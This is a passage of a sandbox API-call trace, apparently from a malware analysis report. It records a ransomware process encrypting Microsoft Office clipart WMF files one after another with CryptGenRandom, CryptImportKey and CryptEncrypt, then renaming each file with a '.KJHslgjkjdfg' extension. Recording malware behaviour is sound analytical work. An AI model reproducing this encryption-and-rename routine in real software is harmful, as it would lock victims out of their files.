Office\\CLIPART\\PUB60COR\\J0199307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.kjhslgjkjdfg")) returned 1 [0179.826] CloseHandle (hObject=0x114) returned 1 [0179.826] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0179.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.827] GetProcessHeap () returned 0x2a0000 [0179.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.827] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.827] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0179.830] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.830] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.830] GetProcessHeap () returned 0x2a0000 [0179.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.830] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.830] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.830] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.831] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.831] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.831] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.831] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x662a, lpOverlapped=0x0) returned 1 [0179.832] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630, dwBufLen=0x6630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630) returned 1 [0179.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.833] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6630, lpOverlapped=0x0) returned 1 [0179.833] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.833] SetEndOfFile (hFile=0x114) returned 1 [0179.836] GetProcessHeap () returned 0x2a0000 [0179.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.836] GetProcessHeap () returned 0x2a0000 [0179.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.kjhslgjkjdfg")) returned 1 [0179.838] CloseHandle (hObject=0x114) returned 1 [0179.838] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0179.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.839] GetProcessHeap () returned 0x2a0000 [0179.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.839] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.839] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.845] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.845] GetProcessHeap () returned 0x2a0000 [0179.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.845] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.845] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.845] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.845] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.845] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.846] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.846] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.846] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.846] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4124, lpOverlapped=0x0) returned 1 [0179.847] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130, dwBufLen=0x4130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130) returned 1 [0179.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.847] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4130, lpOverlapped=0x0) returned 1 [0179.848] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.848] SetEndOfFile (hFile=0x114) returned 1 [0179.851] GetProcessHeap () returned 0x2a0000 [0179.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.851] GetProcessHeap () returned 0x2a0000 [0179.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.kjhslgjkjdfg")) returned 1 [0179.852] CloseHandle (hObject=0x114) returned 1 [0179.853] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0179.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.854] GetProcessHeap () returned 0x2a0000 [0179.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.854] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.856] GetProcessHeap () returned 0x2a0000 [0179.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.856] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.856] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.856] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.857] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.857] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13c4, lpOverlapped=0x0) returned 1 [0179.857] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13d0) returned 1 [0179.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.858] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13d0, lpOverlapped=0x0) returned 1 [0179.858] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.858] SetEndOfFile (hFile=0x114) returned 1 [0179.861] GetProcessHeap () returned 0x2a0000 [0179.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.861] GetProcessHeap () returned 0x2a0000 [0179.861] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.kjhslgjkjdfg")) returned 1 [0179.862] CloseHandle (hObject=0x114) returned 1 [0179.862] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0179.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.864] GetProcessHeap () returned 0x2a0000 [0179.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.864] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.868] GetProcessHeap () returned 0x2a0000 [0179.868] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.869] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x35bc, lpOverlapped=0x0) returned 1 [0179.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x35c0) returned 1 [0179.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.870] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x35c0, lpOverlapped=0x0) returned 1 [0179.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.870] SetEndOfFile (hFile=0x114) returned 1 [0179.873] GetProcessHeap () returned 0x2a0000 [0179.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.873] GetProcessHeap () returned 0x2a0000 [0179.873] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.kjhslgjkjdfg")) returned 1 [0179.875] CloseHandle (hObject=0x114) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0179.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.876] GetProcessHeap () returned 0x2a0000 [0179.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.876] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: 